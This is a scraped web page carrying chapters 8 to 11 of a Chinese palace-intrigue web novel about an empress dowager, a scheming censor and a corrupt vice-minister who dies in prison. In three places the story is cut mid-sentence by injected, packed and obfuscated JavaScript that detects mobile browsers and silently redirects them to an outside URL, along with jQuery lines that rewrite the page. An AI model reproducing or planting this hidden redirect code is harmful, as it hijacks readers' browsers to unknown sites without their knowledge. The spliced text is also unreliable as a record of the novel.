d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715875|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和案子有关。 可是她却见徐卿安从袖中拿出了一个栗色小瓶。 徐卿安将东西递到她眼前更近的位置,说道:“昨夜娘娘落水之后,臣见娘娘有咳嗽的风寒之症,心下生忧,便想着为娘娘备一些缓解的药物。” “这瓶中装的是祛寒的药丸,不仅对治疗风寒有效,就是服下也有温经通络的作用,而这药丸也不似药汤那般苦,只需用服用时混着清水咽下即可,如此也更方便。” 上官栩闻言蓦地掩唇咳嗽了两声,接过瓷瓶,把玩起来:“你这个……从何处而来?你会医术?” 徐卿安道:“实不相瞒,臣自幼身体就不太好,家中便为臣请了个神医来帮臣疗养,昨日臣也落了水,回去之后他便为臣抓了药,臣想着他的药方一向极好,于是就请他为娘娘制了这药丸。” 说着,他又笑了笑补充道:“娘娘若是担心药不对症,也可先让太医院的御医来看看这药是否适合娘娘。” 徐卿安话虽说的是怕药不对症,其实就是在告诉上官栩,这药没毒,也没其他问题,不怕她查。 上官栩自是从善如流:“既是神医所制,又何须让太医院再查,徐卿的好意,我心领了。” 徐卿安再行礼,声音温和:“只求娘娘安康。” 上官栩诧异一滞。 不知为何,她突然觉得这句话好熟悉,与内容无关,只是那语气…… 上官栩放下手里的东西,不可置信地望了过去。 而他也恰好看了过来。 他今日没戴幞头,只用了发冠银簪束发,抬脸间,额上没了遮挡,面容更显清隽。 这几日天气都是极好,大殿内也洒进了阳光,浮尘漫散在暖光下,就像那年被日光照彻的露珠—— 洒在空中,洒在眼睫上。 上官栩凝眸,静了一瞬。 她不知不觉地向下靠近,手搭在了他的肩上,似想把什么东西看得更清楚一些。 而她的动作微带起一阵风,那股熟悉的芍药清香也再度萦绕到他身边。 徐卿安滞了滞。 二人面对面,心弦似被绷紧,又被那清香勾得颤了颤,他颈下衣襟起伏骤缓,深深呼吸了一次。 肩背绷直,他看着她靠近,不动声色地伸颈仰脸,目光不觉汇聚到那朱唇之上,竟将自己的唇和鼻递出去了几分。 绝非鬼使神差,更像是心向往之。 可是…… “徐卿考虑如此周到,我自会无恙。” 上官栩蓦地回神。 一切动作暂止。 徐卿安眼皮瞬间耸拉下去,姿态微散。 上官栩隔开二人之间的距离后,恍若平常地继续道:“徐卿近日辛劳,此事妥善之后,必不会亏待徐卿。” 徐卿安眨了下眼,如自嘲般嗤笑了一声,再道:“臣谢过娘娘。” —— 大殿内,宫人进来,换了热茶,重新续了薰香。 徐卿安走后,上官栩坐到了殿侧面的茶座上,一目不错地望着摆在桌案上的栗色小瓶。 “娘娘,这是?”青禾靠近后问道。 上官栩仍望着,眼皮都未抬一下:“他刚才留下的,说是治风寒的药。” 嘴上虽说着,但脑海中一直浮现着刚才的场景—— 暖阳沐面,眸温语轻。 他的气质、举止,分明一点都不像,可是为什么她仍旧觉得熟悉。 哪怕只那一瞬…… “叫阿筝回宫吧,御史台的事有人接手了。” 上官栩回神,声音淡如往常,刚才的一切异样心思都随着这句话的出口消逝不见。 8. 第 8 章 日光静谧,茶香氤氲,一只布满细纹又带着书茧的手拈着茶盖,沿着碗口轻转,将茶碗中最上面那层茶沫撇去。 多余的茶水顺着杯盖淋漓向下,水流如瀑,热气升腾。 茶盖盖下,连带着茶碗一起端起,微倾,一条细流状的茶水被倒入杯中。 “叔父!叔父!” 苏望坐在屋中长窗边的小榻上,刚拿起茶盏,唇还没挨上,外面就传来一阵急切的呼喊声。 他动作从容不变,而刚在外呼喊的青年已经大阔步走了进来。 青年到他面前停下说:“叔父,出事了……” 苏望品完茶,将杯盏放下,这才抬起眼帘向屋中之人看去。 同时间,苏府的家仆才姗姗来迟,见此状忙拱手道:“相、相爷,五郎君说有急事找您,小人一时便没来得及通传……” 苏五郎,苏望二哥之子,单名一个然字,字行正,现在御史台任御史中丞一职。 苏望看了家仆一眼,没说什么,只挥了挥手,示意他退下。 待到苏然见房中只剩下了他与苏望两人后,才道:“叔父,刘侍郎被那位徐御史抓走了,他奉的是太后的懿旨,所以直接越过了我行事。” 苏望看了看他,抬手邀他入座:“御史台的事我听说了,那证人不仅证据带得齐,就是在城中也造了不小的声势,刘昌被抓不过早晚的事。” 苏然道:“侄儿只是觉得好歹是个侍郎,又加上他之前为我们做过的事,或许可以保一保。” 苏望抬眼望向他,缓缓开口道:“如何保?用你的官声?” “我先问你,如今我苏家在朝堂上有一席之地,百官表面上也都颇为敬之,除权力外的原因是什么?” 苏然低声答:“苏氏一门皆奉行家训——公正处事,一视同仁,故而得百姓爱戴。” 苏望便再道:“百姓若水,水可载舟亦可覆舟,这天下囊括千万黎民,从不是谁的一言堂,如今事态发展迅速,刘昌所犯之罪也是极为积民怨的罪,你要保他唯有用你的权力强行把这件事镇压下去,那的名声呢?你可得想清楚,这其实是在用你的名声去换。” “一个刘昌当真值得么?” 苏然沉默。 苏望漫不经心道:“让他当了四年的工部侍郎,于他而言已经是今生大幸了,只是他能力不配位,守不住而已,没什么可惜的,太后现下出手想来也是想把此事靠向昨夜游船之事。” 苏望语气愈发轻描淡写:“她想要个交代就随她去吧。” 而苏然仍有些忐忑地问:“所以我们便什么都不做?工部那边正是选任新尚书的时候,叔父不打算一下?” 苏望轻笑一声,意味深长道:“没什么好打算的,哪个侍郎上去都一样。” —— 立政殿的梳妆台前,上官栩正借着日光,手执笔,细致地在额上描绘着一朵花钿。 不过这描绘的对象却不是她自己。 手停笔落,上官栩对着自己的画作和女郎的面容一起看了又看,目色温柔,也透着喜爱。 她莞尔说:“阿筝果真是束发英气而添妆秀美。” 坐在她对面的阿筝被她夸得羞涩,垂眸抿唇笑了笑后,说道:“娘娘又拿我开玩笑了。” 上官栩低头浅笑,抬眼间依旧温雅:“我可说得真心实意。”说着,她表情里多了几分怜惜,“怎么样,这次路过洛州可是有想起什么?” 阿筝摇摇头:“没有。” 她声音很轻,能感觉出她的遗憾,但却又从她表情里看出她似乎已对这种情况习以为常了。 阿筝和青禾不同,青禾是在上官家时从小就跟着上官栩的,而阿筝则是三年多前,在外面被上官栎救下后再被送到上官栩身边的。 那时幼帝刚登基不久,黄河洛州段发大水决堤,灾民遍野,也就是那个时候,上官栎前往灾区查探灾情,救下了孤苦潦倒、同时还失了忆的阿筝。 那时的阿筝瘦弱无比,浑身带着伤病,上官栎问了她籍贯来处,除模糊地记得自己小名唤作阿筝外,其它的她也一概不知,只是似乎习过武,一举一动都带着习武之人才有的习惯。 上官栎便将她带在了身边,回京后又送她去了上官栩那儿,想着她会武,上官栩照顾她的同时也能与之有个照应。 这几年来,上官栩一直都帮着阿筝找寻家人和记忆,而洛州又是上官栎救下阿筝的地方,上官栩便想着或许阿筝的家以前就是在那儿,便就对洛州多有留意。 这次阿筝奉命护人进京,途中便路过了洛州,上官栩就因此问了问。 在得到一如往常的答案后,上官栩跟着沉默片刻,随即又宽慰道:“洛州地广,或许没碰对地方吧。” 阿筝回笑:“娘娘不必为奴婢忧心,有些事情还是讲究缘分,也许时机到了自然而然就碰上了。” 话虽说得轻松,但上官栩知道阿筝也只是不想让她在此事上担心太多,费心太多。 寻找记忆和亲人一事,若非有什么实质性的进展,或者到最后成功寻回,每每提及便总是会生起一些怅然和失落。 阿筝便主动说起其他事:“这次奴婢护人进京,发现路上不只一股人跟着证人。” 上官栩凝眉,抬眼瞧过去。 阿筝回忆道:“其中自是有一股是刘侍郎派来追杀证人的,但还有一股更像是和我们一样,在暗处隐隐保护着证人。” “你们可曾交过手?”上官栩问。 阿筝摇摇头:“没有,就是面也没有碰上过,能察觉到这股人的存在也只是从其他蛛丝马迹判断出来的。” 上官栩沉吟:“刘侍郎在地方胡作非为,有仇家并不奇怪,但能派出这样一股人背后却要有足够的势力,难道他在朝中还有仇家?可他是苏望的人啊。” 苏望为宰相列三公,权倾天下,朝堂之上有几个人敢对他动手? 阿筝道:“或许是江湖中人呢?总有那么些人不畏权贵,也不图名利,就想为不公之事讨个公道。” 上官栩眼中警惕不减:“还是得查清楚,你能察觉到他们,他们应该也能察觉到你,是敌是友尚未可知。” —— 御史台狱内,刘昌被推着进入牢房。 初时他还和徐卿安好声好气道他是被人诬陷,结果见徐卿安仍是要送他进台狱,还大有一副要审讯他的样子,他便再难容忍,直接破口大骂。 “我乃四品侍郎,你不过一个八品御史,你凭什么抓我!” 滋啦一声,一个趔趄,刘昌被推到在了牢房里的枯草堆上。 他半趴着回身,见徐卿安慢慢走到他身边,半蹲在他面前。 青年官员并未因他的谩骂而恼怒,反是一贯从容地眼尾带着一丝若有若无的笑意。 徐卿安柔声:“刘侍郎说的是,下官的官职确 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如此,一连两件事全部得到解决。 徐卿安写好了折子进宫向上官栩复命。 “借职位之便在故地贪污行恶,故而在工部里也有不法之举,徐卿折子里所写的很有道理。”上官栩看过他的折子后评价道。 虽然游船之事是上官栩和徐卿安两人分头刻意为之,但刘昌在工部也并不干净,随随便便拉扯出一条罪状就能和游船漏水搭上边。 然而搭上边是一回事,让刘昌亲口认又是另一回事。 上官栩道:“听说徐卿在牢中用了大刑?” 徐卿安闻言笑一下,平淡道:“罪犯嘴硬,是用了些,不过效果确实极佳,不过一两日他便什么都认了。” 上官栩扬眉,语意不明:“看来徐卿于审讯一事上颇有心得。” 徐卿安拱手:“娘娘谬赞,臣不过是想让上元夜的事早日有个结果,也让娘娘少些忧心。” “只是臣有一事也想请娘娘帮忙。”说着,他眉头微起,神情露出几分可怜状。 上官栩不明就里:“什么?” 徐卿安抬眼,眸中盈盈,可怜不减:“臣此前查案时,为求能快一点结案,期间用了娘娘的令牌便宜行事,所以诸多环节都直接越过了中丞大人,现在想来恐怕会让他觉得不妥,便想请娘娘帮忙说和一二。” “以及臣在审讯罪犯时,他总是搬出苏相公,臣不得解,便在私下了解一番,才知苏相公对罪犯有提拔之恩,臣也不知此举会不会让苏相公对臣有误会,臣人微言轻,自然担不起的。” “这样啊。”上官栩眉间的不解慢慢散开。 如今徐卿安奉她的命接连做了几件事,其中却大多与苏望相关,他如今风头正盛最是引人注目,此话原不过也只是在向她求庇佑罢了。 如此情况,若要驭下,左不过温声宽慰几句,表明自己会给予的支持,让下面的人放心自己背后有人撑着就好。 只是这一次上官栩忽而一笑,乜眼瞥向一侧,如走神般漫不经心道:“那你可就小瞧苏相公了,苏相公奉公如山,不会出现你说的那种情况的。” “是吗?”徐卿安垂下眸,长睫阴翳下的笑意染上一层寒霜。 他语气平淡地将自己的恨意掩饰:“如此,臣就放心了。” 9. 第 9 章 “阿兄,阿兄……不是这样的,不是这样的……” 立政殿内,上官栩无力地跪在榻上,双手揉着上官栎的衣襟,带着哽咽和乞求的声音,嘶喊着。 上巳夜沉船的事情已经有了结果—— 不过是船体建造的过程中,要求不严格造成的意外。 上官栩哭得眼肿鼻红,泪水如雨幕般覆盖了她原本白皙的脸颊,如初绽的芍药被大雨摧残。 “不是意外,不是意外……我看见了,阿兄,我看见了!” “有刺客混在内宦之中,要杀他,我真的看见了……” 她焦急又无助,一刻也不愿松开手,她去不了外面,只能将所有的希望都寄托在眼前这位兄长的身上。 “阿兄……阿兄……” 少女涕泗横流、痛苦不堪,话都难说出整句,上官栎望着,心中似碎,满目怜惜地抱着她的双肩:“阿栩、阿栩,你先听我说,听阿兄说!” 上官栩停下哭诉,仍不住地抽噎。 上官栎道:“阿兄不是没去找过你说的那个人,然而时至今日,阿兄找遍整个皇宫乃至京城都没见到那人的踪影。” “阿兄知道,你说的一定是真的,可事发至今事态变幻,若真有幕后之人谋刺,那这些可能暴露他的存在就一定会被提早处理好,所以真想找出那个人,很难。” “什么意思?”上官栩蓦地静了一瞬,通红破碎的双眸中带着不甘,“是这件事就这样了吗?就让他这么不明不白地死在曲江里了吗?” 上官栩眉头紧蹙,压抑着自己的崩溃:“阿兄,你是刑部侍郎啊,难道如今连你也要放弃了?” “不是放弃,是现在只能如此。”上官栎垂眸一瞬,再抬眼劝道,“你想一想,如今四海升平,边疆无外患,市井无内忧,什么样的人会谋刺皇帝?” “若史书上记载他因谋刺而死,后世又会如何评价他?斯人已去,人死不能复生,阿栩,他已经回不来了,你还想他遭受怎样的评判?” “阿栩,你是他的未亡人,你还有很多事情要做,我们现在没有选择的机会,相信是意外,相信现今查出的结果,于他身后之名,于你此后周全,都是好事。” 上巳夜水祭,守卫何等森严,却还能安排行刺,幕后之人你真的撼动得了吗? 你将刺客之事传扬出去,有背后势力阻挠,你就确保能找到凶手吗? 你为他徒留下一个国君被行刺的结果,就是为了让后世之人肆意揣度吗? 给不了他真相,不如就予他一个体面。 体面? 上官栩突然仰脸大笑,绝望、妥协、病态、颠狂…… 他回来时尸身都那样了,谈何体面? 大笑中,眼角仍控制不住的溢泪,只是那汩汩泪痕早已殷红、刺目。 …… 上官栩独身一人在侧室中打好香篆,用线香重新将香炉中的兰香续好。 房中光线昏暗,她面容平静,不笑时自带三分冷意。 苏望奉公如山,不是她对他的评价,而是世人对他的评价。 熙宁二年,上官适逝世,苏望成为众相公中的领头人。 而不久苏家就传出苏四郎打死奴仆的丑闻。 大晋律,诸奴婢有罪,其主不请官司而杀者,杖一百;无罪而故杀者,以故杀罪论处[1]。 苏四郎所杀的奴仆本有盗窃行径,依律苏四郎杖一百即可,亦罪不至死,但因其出身名门苏氏,加之其时在朝廷任职,自然也就引人注目。 然而尽管如此,百官也觉得身为首相的苏望会在此事中帮苏四郎转圜,毕竟苏四郎能力虽说一般,但平日中德行并无亏损,若一百杖实实在在打下去,元气定然大伤。 可是就在此事之后不久,苏四郎便谢罪自尽了。 他自认,奴仆有罪,应交官府,私下草芥人命,实乃以权压人,于民不公,其身为朝廷命官更应为民表率,不行不法之事,亦不染苏家门楣。 虽留下谢罪书,但旁人都知道,苏四郎之死实为苏望逼迫所致。 时人都说,苏相恪守家训、奉公守法,对所有人都一视同仁,为了给那奴仆性命一个交代,不惜逼令自己最重视的侄子自尽,加之此后苏望为政上也不错,便素有贤相之称。 上官栩回想起这些事情,唇边冷冷地挑起一抹笑。 苏望表面扮得一副克己奉公、忠君爱国的模样,让不明之人都觉得他是德高望重之典范,这么多年来,上官栩看他扮得也很受用。 但也正因如此,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715877|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官栩料定了他不会在刘昌一事出手。 可是…… “一个工部侍郎哪里够。”上官栩抓了一把从香炉中冒出的兰香烟又淡然拂开,喃喃道,“苏望,你以高德仁善面世人,我就偏要撕下你的伪装,让天下无人不知你到底是怎样的一个乱臣贼子!” —— 深夜,御史台狱深处,湿寒弥漫,官靴踩在青石阶上往下走,一步一声,干脆而冷。 灯笼的光一路照至最里面的那间牢房门前,门锁被打开,铁链拉动,发出一阵闷而重的嘈杂声。 刘昌虚弱地依靠着墙壁,在噪声中昏昏沉沉地醒来。 他其实浑身还算干净,除了衣着头发有些凌乱外,身上根本就没有任何血迹伤痕。 可是他也的确受过大刑。 黄纸覆面,以水浇灌之,谓之水刑,痛苦如溺水窒息。 不,其刑反复,又挣扎不得,比起寻常溺水,应该还要更为折磨,更为绝望。 徐卿安屏退了其他人,慢步走到他面前蹲下,灯笼放在了一边。 “刘侍郎,睡得可好啊?” 一贯清和带笑的声音。 刘昌睁眼瞧一眼,无力道:“我不是都认了吗,你怎么还来?” 徐卿安道:“你好像很委屈,可是我冤枉了你?” 刘昌不说话。 徐卿安便抿唇笑:“我们做个交易好不好?你告诉我我想知道的,我保你一条命。” 刘昌诧异看过去。 徐卿安微侧一下头,扬眉笑了笑。 —— 翌日清晨,青禾急促地脚步声在立政殿外响起,她快步走入殿内,俯身到正在梳妆的上官栩身旁。 “刘昌昨夜死了。” 上官栩立时转过头,惊诧道:“怎么回事?怎么就死了?” 青禾回道:“听说是夜里撞墙自戕而死,仵作已去验过,确认无误,只是他还留了份血书——” 说着,青禾垂眸,声音陡然凝重:“以其性命,控告监察御史徐卿安滥用酷刑,屈打成招,同时,他还在血书中说道,徐御史昨夜入狱寻他,企图以刘氏全族性命,威胁他认下四年前,上巳夜沉船的祸事。” 轰的一声,上官栩脑中顿时一片空白。 10. 第 10 章 御史台狱深处很难照进阳光,虽说每座牢房都有一扇小的通风窗户,但因为整座监狱的构造问题,总有那么几间牢房是任何时候都晒不进太阳的。 徐卿安倚靠着墙壁,一手搭在支起的膝盖上,一手抬着,去探那窗户下,微光里的浮尘。 这间牢房于他而言既熟悉又不熟悉,说熟悉,是因为旁的那间就是此前刘昌所住,他每日来提审他时便总会路过现在这间牢房,说不熟悉,那自然是因为他从来就没有被关进过这里。 可是他看着那混着浮沉的缕缕微光,就似恍惚地让他想起那年在水中遥望两岸投来的火光,隔水之后同样阴冷、黯淡,却又带着希望。 绝望中的希望。 如施舍一般。 徐卿安神情寥寥,脑中回想着昨夜他与刘昌之间的谈话—— 刘昌道:“你能保我一条命?你有这么大的能耐?” 徐卿安笑了笑,自若道:“我既说得出这句话就自有办法,刘侍郎如今应该也清楚自己的处境,难不成你期待着那位苏相公会出手帮你一把?他可是连自己的侄子都不放过的人啊。” 刘昌打了个寒颤。 他自是听说过苏望逼令苏四郎自尽的事情。 他抬眼看向徐卿安:“你想问什么?” 徐卿安道:“四年前上巳夜水祭沉船,工部的尚书及侍郎全部被贬流放,为何时任水部郎中的你,分明是游船构建第一负责人,却不贬反升?” “听说是你给出了工部过往事务中所有不符章程的记录,这才使得工部四品以上的官员全部被清算,而你也因此立功,补上了侍郎之位。” 刘昌弱声:“这些不是当初结案卷宗里都有的吗,你既知道又为何要问我?” 徐卿安勾唇:“我自然不是问这些卷宗里本就有的东西。”他眼神一下变得狠厉,“我是要问你因何这般大胆,又是谁给你的底气攀诬官长!” 刘昌骤然醒神:“你、你在胡说什么?” 徐卿安愈发咄咄逼人:“以当年清算的势头,你身为水部郎中,第一个下狱的就该是你!你却还有时间整理证据?” “当年的工部尚书侍郎俱是清廉之人,你的证据中却提到他们中饱私囊,为求便利在游船上偷工减料,我看行这些事的更像是你吧。” “你可知他们最后抄家所得出的白银合起来都不过十两!” 徐卿安一把擒住刘昌的手腕,用力道:“说,当年指使你,在背后助你之人到底都有谁!” 刘昌痛叫一声。 见他闭口不言,徐卿安便再道:“你还等着他们来救你呢?你帮他们行这样腌臢事,他们杀你灭口还不来不及,还想着他们仁心大发?” “现在能救你的只有我。” “说话!” 手上的力道越来越大,仿佛手腕都要被折断,夜间迷惘,本就是人最脆弱的时分。 刘昌受不住:“是、是苏中丞……” “还有呢?”徐卿安咬牙,手仍不放。 “还有……”刘昌痛得失神。 “可有宫里的人?”徐卿安提醒道。 “有有有!”刘昌连忙,“我见过中宫的玺印!” 瞬间,施在手腕的力道散去,原本施力禁锢的手掌也慢慢松开。 刘昌身边传来一声几不可闻的冷笑,似带着自嘲。 徐卿安蓦地静下来,垂头又笑又叹。 分明是一个早就知道、早就被埋藏好的结果,为何偏偏要自己用刀子再把伤口划开看。 到底是什么执念在心中久久散不去…… 最后他问了刘昌那些用来构陷的证据是如何制来的,而原本的记录又被放到了哪里。 做这样的事总会留下蛛丝马迹,而身处下位的刘昌,也会为了自己的后路刻意保留下什么。 徐卿安今夜所为,本就是只是为了拿到能还原工部尚书侍郎清白的证据,至于其他的…… 不过抱着不该有的希望却再次得到印证罢了。 …… 徐卿安回神,探出去的手一握,抓了一把虚无。 又反手一摊,气流涌动,看浮尘在掌心上起伏。 “你很悠闲?” 熟悉的声音在牢房外响起,徐卿安蓦地收回手,先垂眸眨了眨眼,藏下眼底的湿润后再转头望去。 上官栩一身简装站在牢栏外,最外面还披了一件黑斗篷。 她目色平静带冷,而他却予以笑道:“娘娘来了。” 他依旧懒散,只坐直身子,没有起身相迎,又似抱怨道:“娘娘来得比臣预想得晚一些。” 上官栩轻笑:“你这般悠闲,我来不来又有什么?看你刚才的样子,我似乎还打扰到你了?” 徐卿安笑了笑:“娘娘说笑了。” 他这才站起身,到牢栏前拱手行礼:“臣一人呆在这暗牢之中,心中孤寂,百无聊赖,就只能寻些玩意打发时间。” 上官栩讥讽道:“不过现下无聊,昨天夜里,差不多的位置,你应该正畅快吧?那时可曾想过现下的处境?” 上官栩没有说免礼之类的话,徐卿安便自顾自地立起身子道:“娘娘打趣臣了。” 他没等她问,直接将昨夜之事说了出来:“臣前几日在调查刘昌贪污一事时,发现证人递到御史台的证据最早提到了刘昌七年前所为的恶行。” “而七年前他又正好在工部任职,臣便想着他这些年借工部之便应受了不少好处,恰逢证人哭诉,说刘昌诸多罪行并未留下罪证,想请我为他们受难之人皆主持个公道,我便来牢中问了一问,看能否再问出什么,结果谁知问完之后他就死了,还那般攀咬我……” 说着,徐卿安叹道:“臣也是百思不得其解。” “是吗?”上官栩语气冷冷的,凝眸审视着他,唇角挑起一抹笑,“可是刘昌就是死了,你要知道,这世上所有的事情一旦碰上人命,性质就会发生改变。” 徐卿安不甚在意地笑了笑:“娘娘是想说,谁死谁有理是吗?” “可是娘娘,在此之前,刘昌的罪行就已够判他斩刑了,他本就是将死之人,又焉能用他的性命和寻常无辜之人的性命相提并论?” 上官栩扬了扬眉,不答他的话,只说:“诚然,他就算是秉着拉人下水、玉石俱焚的想法行此事,但他撞墙自戕,又留下血书翻供,实属轰然之举,如今三司介入,你要说服的不是我,而是三司会审上的那几位大人。” 说完,上官栩语气突然讥诮起来:“只是我实在没想到,哪怕刘昌罪行已定,死罪难逃,徐大人却依旧竟只为了能找到更多罪证,给更多受害之人一个交代,而继续探查此案。” 徐卿安反问:“难道不该给他们一个交代吗?” 上官栩果断道:“不,我只是没想到你会这样做。” 徐卿安无奈笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715878|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑:“看来臣是做了什么让娘娘印象不好的事。” 他抬眼向她望去,见她并不打算接他的话,他便也只好自己继续说下去道:“好吧,其实臣行此事的确并非只是为了那些受难的人,臣还为了自己,为了娘娘。” “为了我?”上官栩显然不关心他前面的半句话。 徐卿安自觉被忽略,又轻叹一声道:“对,臣想给娘娘送件礼物。” 上官栩蹙眉,越来越不解他到底要做什么。 而徐卿安也在这时卖起了关子:“只是礼物还没备好,臣便先不说出到底是什么了,以免事情未成,反而坏了娘娘的兴致。” “随便你吧。”尽管对他的话有些好奇,但上官栩脸上也并未露出期待。 她转过身只留下一个侧脸给他:“不过你当下最应该好好想想的,还是该怎么应对那封血书更为实在,有些时候死无对证是好事,但也有些时候,死无对证是最糟糕的事。” “那若臣这次真的无法转圜,娘娘可能帮一帮臣?”徐卿安走进牢栏问。 上官栩转头瞧他一眼,见他目色温软,似带着期待。 可她依旧淡淡道:“三司会审上的那群官员虽都是认死理的,但大晋有大晋的律例,你若有冤,他们自会还你个公道。” “哦,臣知道了。”徐卿安垂眸,语气有些寂寥道。 上官栩不觉再看他一眼,竟有被他姿态可怜到。 她撇开目调整一瞬,临走之前终是宽慰了一句:“距三司会审还有三日,我等着你的礼物。” 礼物即为脱险,事成。 徐卿安压低的面容下终是勾起一抹笑。 “娘娘……” 他蓦地叫住她。 上官栩回身。 他却并未说其他,只轻声关切道:“您的风寒好些了么?” 上官栩没想到他会问这个:“已经好得差不多了,还多亏了你的药。” 她微微一笑,随口夸一句:“徐卿当真是体贴细致,就是在现在这样的处境下也能考虑到别人。” 徐卿安垂着眼帘,温声道:“牢中寒湿,臣身子弱,从进来到现在待了快半日,便时觉寒气侵体,如此,就想到了娘娘还未愈的风寒,心中故生了担忧。” 上官栩闻言默了默,瞧着他。 此前他的确向她说起过他的体质自幼就不好,到现在都还一直看着大夫,而牢房里难见光,环境愈发湿冷,恐怕于他而言更是雪上加霜。 而他的话还没完,说到一半时停了停,抬眼望向她的衣着再继续道:“不过今日见娘娘气色红润,想来娘娘身体恢复得不错,衣着出行也有宫人照顾,以后寒气应也再难侵体,臣便也就放心了。” 上官栩听他说了这些,又移眼去寻他看的地方,算是知道他此举到底为何了。 她不由得嗤笑一声,双手慢慢放到了斗篷的绳结之上:“这段日子,外面的天气的确好多了,但牢中阴湿,徐卿身子不好,还是应该多保重才是。” 绳结已经打开,斗篷落下,挂在了手中,上官栩借着栏杆之间的间隙扔了进去。 “冷就盖上。” 斗篷重重地打在胸膛上,但飘扬起来的边角却轻柔柔地拂过脸颊。 徐卿安扬了扬颈,单手将斗篷抱在了怀中。 上官栩已走远,他也不跪下谢恩,只过去倚在栏杆上,笑盈盈地对外喊:“谢娘娘赏赐。” 11. 第 11 章 上官栩走回到大牢中段歇停处,青禾带着一干宫人还有御史中丞苏然在此等候。 众人纷纷向她行礼。 上官栩温声:“今日多谢苏五哥行方便了。” 苏然回笑:“娘娘言重了,这本就是臣分内之事。” 说完,他又反问:“不知徐御史可曾向娘娘交代了什么?” 上官栩扬了扬眉,漫不经心道:“没交代什么,刘昌所诉,他自然是不认的,这块实在帮不上苏五哥什么忙了。” 苏然宽慰道:“这些事到时三司会一起处理,娘娘不必忧心。” 上官栩点点头,话锋突转:“我可能看一看刘昌留下的那封血书?” 苏然迟疑。 上官栩了然道:“我知道苏五哥担忧什么,毕竟这人是我派出去的,他的行事或多或少就与我相关——” “苏五哥可是担心我会偏私,想法包庇他?” 苏然张口欲辩,上官栩却抢先道:“可三司会审的日子已经定下,一切也都要按三司会审的结果来,我又能做什么呢?左不过是好奇那血书里的内容是什么罢了,当然,也包括刚才所说,想顺便看看那里面的东西可有牵连到我。” 苏然想了想血书里的内容,笑道:“娘娘多虑了,人虽是您派出去的,但事至如今也只是因他自己行事不周,自是与娘娘无关,娘娘想看血书,臣自然没有阻拦的道理。” 他说:“娘娘请随我来。” —— 上官栩由苏然带去了证物存放的地方,看到了血书上的内容。 “果然字字泣血,声泪俱下啊。”上官栩将血书大致看了一遍后叹道。 苏然也叹:“是啊,最主要的是,血书中所提的用刑之事确实是我们御史台其它同僚都有所耳闻的,以及……臣后面也去查过,徐御史的确去查过工部近几年的账目。” 不提其它内容是否为真,用酷刑和牵扯四年前的旧事,确实与徐卿安最近所为对得上。 而且血书密密麻麻,用了两百余字来控诉,其中情绪不减,内容更是一环扣一环,逻辑之缜密,上官栩一时之间根本找不出破绽。 难怪苏然会同意带她来看。 她不禁觉得徐卿安乐观过头了。 “娘娘,依您看,可觉得这血书有什么问题?”苏然试探地轻声问道。 上官栩神色一如往常地再看了几眼,摇摇头:“没什么问题,倒是真像有冤之人写出来的东西。”她语气平静,“而且当年之事早已盖棺定论,若这血书所述为真,那提及之人当真是居心叵测啊。” “苏中丞这几天打算如何审问那牢中之人?”说回公事时,上官栩便也用回了官职称呼。 “依章程,鞭刑应当是免不了的。娘娘可是有什么要嘱咐的?”说话间,苏然抬眼瞧向上官栩,似在寻找她表情之中有无破绽之处,她好像真的对当年之事没有疑心。 而上官栩转过头,完全面向他笑了笑:“没什么要嘱咐的,好奇罢了。” 她放下血书,准备离开,可她刚走出一步就回头,似想起什么遗忘之事道:“哦对了,我把我的斗篷留给他了。” “他似乎身子不太好,有些畏寒,不过我那斗篷也只是给他御寒用,没有什么穿上可免刑的说法,他一贯张口就来,苏五哥到时可别被他诓了。” 苏然微惊讶于上官栩还会与他说这些,反应过来之后连忙应道:“是,多谢娘娘提醒。” 上官栩莞尔再留下一抹笑,终是离去。 —— 是夜,立政殿中只点了寝灯,床帐尽垂,上官栩梳洗之后卧在榻上,回想着今日狱中之事—— 他说他要送她件礼物。 不得不承认,他的这句话的确勾起了她很大的兴趣。 因为她能感觉到他的这份礼物若真的备好了,不会简单。 他面容虽总是带着笑意,可是一个人的眼神是骗不了人的。 他的笑许多时候并不浸眼底,她虽看不清他的情绪,但能感受到他眼中有一种不只限于对权力追逐的野心。 他能在她面前满眼无辜又言辞恳切地尽诉衷肠委屈,也能平淡地说出他在处理刘昌之事中施以酷刑的经过。 这不是一个儒士该有的模样。 这样的人左右逢源,有城府,有心计,往往他们所行的每一步,无论阴谋阳谋,他们都必要从中取之回报,只为得自己最终所求。 这样的人便是表面再温和光亮,内里都是薄情寒凉的。 所以这也是她今日不信他会只为了一群和他毫无交集的受难人而将自己置于险境之中的原因。 事实证明,她也预料对了。 他果真有其他目的。 但也正因如此,他是一把不错的刀。 刀下所铸的礼物,也断然不会是凡俗之物。 那么她便要利用好。 只是,他此番入狱,到底在不在他意料之中? 听他话中之意,他欲行之事仍有失败的可能,那可是刘昌的血书碍了他的去路? 